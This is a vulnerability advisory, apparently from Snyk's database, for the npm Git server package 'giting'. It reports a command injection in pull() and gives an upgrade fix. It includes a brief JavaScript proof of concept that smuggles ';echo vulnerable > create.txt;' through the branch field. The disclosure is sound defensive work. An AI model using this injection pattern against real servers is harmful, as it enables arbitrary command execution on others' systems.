giting@0.0.2 vulnerabilities

Git server

Direct Vulnerabilities

Known vulnerabilities in the giting package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Command Injection

giting is a Git server.

Affected versions of this package are vulnerable to Command Injection. The first argument "repo" of function pull() is executed by the package without any validation.

PoC by JHU System Security Lab

var Test = require("giting");
var injection_command = ";echo vulnerable > create.txt;";
test = new Test({"workDir": "./"});
repo = {"organization": "./", "name": "./", "branch": injection_command}
test.pull(repo, function(){});

How to fix Command Injection?

Upgrade giting to version 0.0.8 or higher.

<0.0.8